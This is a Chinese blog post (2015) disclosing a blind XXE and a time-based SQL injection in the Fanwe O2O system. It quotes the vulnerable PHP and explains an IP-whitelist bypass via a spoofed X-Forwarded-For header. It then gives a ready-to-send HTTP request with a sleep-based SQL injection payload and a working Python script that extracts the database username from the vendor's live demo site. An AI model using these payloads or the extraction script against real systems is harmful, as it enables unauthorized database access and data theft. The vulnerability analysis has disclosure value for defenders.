IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    方维O2O商业系统SQL注入漏洞+XXE实体注入(demo验证)

    没穿底裤发表于 2015-10-03 07:57:59
    love 0

    方维O2O,demo站点地址:http://o2odemo.fanwe.net/
    /cpapi/qxtapi.php

    define("FILE_PATH","/cpapi"); 
    require_once '../system/system_init.php';
    $ip = CLIENT_IP;
    $xml = file_get_contents('php://input');
    if($ip!='221.179.180.156' || $xml=="")
    {
    	header("Content-Type:text/html; charset=utf-8");
    	echo "·Ç·¨·ÃÎÊ";
    	exit;
    }
    
    $xml = str_replace(array("/r/n", "/r", "/n"), "", $xml);
    $xml_arr = simplexml_load_string($xml);

    如上代码。IP验证是可以用XFF绕过的,后面直接调用simplexml_load_string解析POST字符串,造成XXE实体注入。
    因为后面没有输出,所以这里是一个“盲注”,Blind XXE。测试了官方demo,但数据包没有发出来,可能是很多原因吧(是否支持外网、是否底层限制XML实体等),反正我本地是成功了的。
    这边读到文件通过base64传给我的web日志:
    1
    这不是重点。继续看后面的代码,SQL注入是重点:

    $xml_arr = simplexml_load_string($xml);
    
    $SrcMobile = $xml_arr->Body->Message->SrcMobile;
    $Content = $xml_arr->Body->Message->Content;
    $RecvTime = $xml_arr->Body->Message->RecvTime;
    
    $arr = explode("-",$Content);
    $prefix = $arr[0];
    
    if($prefix!='u'&&$prefix!='v')
    {
    	if(log_coupon("","短信内容:".$Content,$RecvTime)&&$SrcMobile)
    	{
    		$msg_data['dest'] = $SrcMobile;
    		$msg_data['send_type'] = 0;
    		$msg_data['content'] = "短信格式错误";
    		$msg_data['send_time'] = 0;
    		$msg_data['is_send'] = 0;
    		$msg_data['create_time'] = NOW_TIME;
    		$msg_data['user_id'] = 0;
    		$msg_data['is_html'] = 0;
    		$GLOBALS['db']->autoExecute(DB_PREFIX."deal_msg_list",$msg_data); //插入		
    		echo "ok";
    		exit;
    	}
    
    
    }

    可见从xml里读取的内容,传入了log_coupon函数,跟进看看:

    function log_coupon($coupon_sn,$msg,$query_id = '')
    {
    	$data = array();
    	$data['coupon_sn'] = $coupon_sn;
    	$data['msg'] = $msg;
    	$data['query_id'] = $query_id;
    	$data['create_time'] = NOW_TIME;
    	if($GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."coupon_log where query_id = '".$query_id."'")==0)
    	{
    		$GLOBALS['db']->autoExecute(DB_PREFIX."coupon_log",$data); //插入
    		return true;
    	}
    	else
    	{
    		return false;
    	}
    }

    可见query_id(也就是XML里的RecvTime)直接带入SQL语句。这个demo站可以演示了,延时注入。POST如下数据包:

    POST /cpapi/qxtapi.php HTTP/1.1
    Host: o2odemo.fanwe.net
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type:application/x-www-form-urlencoded
    Content-Length: 147
    X-FORWARDED-FOR: 221.179.180.156
    
    <aaaa>
    <Body>
    <Message>
    <SrcMobile>13322221111</SrcMobile>
    <Content>123123</Content>
    <RecvTime>0'|sleep(5)#</RecvTime>
    </Message>
    </Body>
    </aaaa>

    即可看见延迟了5秒才出结果。写了个脚本跑一下数据库用户名。

    #!/usr/bin/env python
    
    import requests, sys
    headers = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36',
        'X-FORWARDED-FOR': '221.179.180.156'
    }
    payloads = list('@abcdefghijklmnopqrstuvwxyz.0123456789')
    #payloads = list('@ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._')
    
    print 'start to retrive MySQL infomation:'
    
    def run():
        user = ''
        for i in range(1,25):
            for payload in payloads:
                try:
                    data = "<aaaa><Body><Message><SrcMobile>0</SrcMobile><Content>123123</Content><RecvTime>0'|if(ord(substr(user(),%s,1))=%s,sleep(5),1)#</RecvTime></Message></Body></aaaa>" % (i, ord(payload))
    
                    req = requests.post("http://o2odemo.fanwe.net/cpapi/qxtapi.php", data = data, headers = headers, timeout = 3)
                except:
                    user += payload
                    print '\n[In progress]', user
                    break
                print '.',
                sys.stdout.flush()
        print '\n[Done]infomation is', user
    
    run()

    2



沪ICP备19023445号-2号
友情链接